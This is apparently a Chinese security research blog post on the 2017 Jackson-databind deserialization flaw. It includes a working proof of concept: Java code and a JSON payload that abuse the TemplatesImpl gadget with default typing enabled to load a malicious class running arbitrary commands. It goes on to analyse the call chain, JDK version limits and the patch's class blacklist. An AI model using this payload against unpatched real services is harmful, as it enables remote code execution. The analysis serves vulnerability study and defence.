本次Jackson反序列化漏洞对于Jackson来说是首例,因此针对这些版本范围的漏洞利用类有很多,这章节只用TemplatesImpl这条在Fastjson也盛行的利用类进行演示,其他利用链在后面的文章中会补充分析。

0x01 影响版本

Jackson 2.6系列 < 2.6.7.1

Jackson 2.7系列 < 2.7.9.1

Jackson 2.8系列 < 2.8.8.1

0x02 限制

JDK使用1.7版本的,不能使用1.8版本,具体原因后面章节会分析到。

注意,小版本搞的1.7版本的也会有些不能成功利用,具体要自己测试才知道哪些版本是可用的。

我本地用的JDK版本为1.7.0_21,之前用的1.7.0_80没成功。

0x03 复现利用

我本地用的jar包:jackson-annotations-2.7.9,jackson-core-2.7.9,jackson-databind-2.7.9,commons-codec-1.12,commons-io-2.5,spring-core-4.3.13.RELEASE。

PoC.java,这里选择以开启DefaultTyping的方式进行反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class PoC {
public static void main(String[] args) {
String exp = readClassStr("./out/production/JSTest/com/evil/Exploit.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'mi1k7ea',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Mi1k7ea mi1k7ea;
try {
mi1k7ea = mapper.readValue(jsonInput, Mi1k7ea.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls){
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encode(byteArrayOutputStream.toByteArray());
}
}

Mi1k7ea.java,要进行反序列化的类:

1
2
3
4
5
package com.mi1k7ea;

public class Mi1k7ea {
public Object object;
}

Exploit.java,恶意类,至于为何要继承AbstractTranslet类可以参考《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》中的调试分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class Exploit extends AbstractTranslet {
public Exploit() throws Exception {

try {
BufferedReader br = null;
//修改成你想要执行的命令
Process p = Runtime.getRuntime().exec("calc");
br = new BufferedReader(new InputStreamReader(p.getInputStream()));

String line = null;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
System.out.println(sb);
}
File file = new File("result.txt");
//File file =new File("javaio-appendfile.txt");

//if file doesnt exists, then create it
if(!file.exists()){
file.createNewFile();
}

//true = append file
FileWriter fileWritter = new FileWriter(file.getName(),true);
BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
bufferWritter.write(sb.toString());
bufferWritter.close();
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace();

}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

运行即可成功触发弹计算器:

Exploit类中换成其他命令的话运行结果保存在result.txt中:

这里我们看下PoC:

1
2
3
4
5
6
7
8
9
10
{
"object":[
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes":["xxx"],
"transletName":"mi1k7ea",
"outputProperties":{}
}
]
}

这里解释下设置的几个JSON键值对:

  • transletBytecodes——Base64编码的Exploit恶意类的字节流,编码原因可参考之前的《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》
  • transletName——TemplatesImpl类对象的_name属性值;
  • outputProperties——为的是能够成功调用setOutputProperties()函数,该函数是outputProperties属性的setter方法,在Jackson反序列化时会被自动调用;

0x04 调试分析

mi1k7ea = mapper.readValue(jsonInput, Mi1k7ea.class);中打下断点;同时,我们由之前Fastjson中的分析也知道,TemplatesImpl利用链的其中一步是调用了getOutputProperties()函数,我们也在这里打下断点。

下面开始调试,其中反序列化的处理过程和之前调试的一样,我们直接跟到关键的地方看看就好。

我们知道在BeanDeserializer.vanillaDeserialize()函数中会先新建Bean实例,然后调用deserializeAndSet()函数来解析属性值并设置到该Bean中;而在deserializeAndSet()函数中,会反射调用属性的setter方法来设置属性值。

前两个属性transletBytecodes和transletName都是通过反射机制调用setter方法设置的,但是outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因,虽然Jackson的反序列化机制只是调用setter方法,但是是调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法

再往下就是反射调用到了getOutputProperties():

再后面就和Fastjson中分析的一样了,这里不再赘述。

利用链:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->恶意类构造函数

到getOutputProperties()时的函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
getOutputProperties:431, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
deserializeAndSet:105, SetterlessProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:493, SettableBeanProperty (com.fasterxml.jackson.databind.deser)
deserializeAndSet:101, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:27, PoC

0x05 为什么要设置transletName属性值

PoC不写该属性值的话会报错,我们调试分析下原因。

跟踪到getOutputProperties()->newTransformer()->getTransletInstance()这条调用链时发现,问题出在TemplatesImpl.getTransletInstance()函数中:

由于此处_name为null,导致程序提前return了,并未进入后面生成Java了以及新建该Java类实例的代码中,从而也无法成功触发漏洞。

由前面调试分析可知,transletBytecodes和transletName属性值都是通过调用MethodProperty.deserializeAndSet()函数来反射调用其setter方法来设置的。

这里我们重新transletName属性带上,再次调试,跟进设置transletName属性值时的MethodProperty.deserializeAndSet()函数中,发现其调用的setter方法就是TemplatesImpl.setTransletName()函数:

因此这个属性值是必须的,不能为null。

0x06 高版本JDK不能触发的原因——_tfactory

在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。

当然,在小版本较高的1.7和某些1.8的还是能够成功触发的,具体的可自行测试。

在我本地的JDK 1.8.0_73 版本中,看到在TemplatesImpl.getTransletInstance()方法中调用了defineTransletClasses()函数来定义Java类,跟进看看:

区别在于新建TransletClassLoader类实例的代码,其中调用了_factory属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。

那么如何设置这个_factory属性呢?我们在PoC中随便填入如'_factory':{},,会看到如下错误信息:

1
com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field "_factory" (class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl), not marked as ignorable (5 known properties: "uriresolver", "transletBytecodes", "outputProperties", "transletName", "stylesheetDOM"])

可以看到,这个错误是Jackson.databind报的,说的是TemplatesImpl类已知的只有5个配置项,即”uriresolver”, “transletBytecodes”, “outputProperties”, “transletName”, “stylesheetDOM”。

在里面没有看到tfactory相关字样,也就是说,Jackson压根就不支持我们在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性

0x07 补丁分析

这里将jackson-databind-2.7.9换成jackson-databind-2.7.9.1。

尝试运行会报错如下,显示因为某些安全原因禁止了该类的加载:

1
com.fasterxml.jackson.databind.JsonMappingException: Illegal type (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) to deserialize: prevented for security reasons

调试分析,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:

注意:实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是Mi1k7ea类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。

在jackson-databind-2.7.9.1-sources.jar!/com/fasterxml/jackson/databind/deser/BeanDeserializerFactory.java中,存在默认的黑名单DEFAULT_NO_DESER_CLASS_NAMES,将TemplatesImpl类以及早期其他常用反序列化利用类都过滤了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599]
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}

OK,17年经典的Jackson反序列化漏洞就说到这,利用链是和Fastjson一样的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,两者的利用链很多都是可以共用的,但是会有些细微的区别。下一篇文章看看Jackson其他反序列化利用链及CVE漏洞。